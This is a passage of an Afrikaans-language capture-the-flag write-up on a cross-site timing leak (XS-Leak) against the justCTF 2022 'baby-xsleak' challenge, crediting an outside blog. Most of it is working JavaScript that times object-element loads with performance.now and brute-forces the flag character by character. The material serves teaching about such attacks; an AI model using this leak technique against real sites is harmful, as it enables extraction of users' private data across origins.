performance.now + Force heavy task
Exploit geneem van https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
In hierdie uitdaging kon die gebruiker duisende karakters stuur en as die vlag bevat was, sou die karakters teruggestuur word na die bot. Deur 'n groot hoeveelheid karakters te stuur, kon die aanvaller meet of die vlag in die gestuurde string voorkom of nie.
Aanvanklik het ek nie die objekbreedte en -hoogte ingestel nie, maar later het ek gevind dat dit belangrik is omdat die verstekgrootte te klein is om 'n verskil in die laai-tyd te maak.
function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); })
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{'
async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') }
found /= 3 notFound /= 3
send('found flag:'+found) send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2) send('threshold:'+threshold)
if (notFound > found) { return }
// exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } }
main()
```
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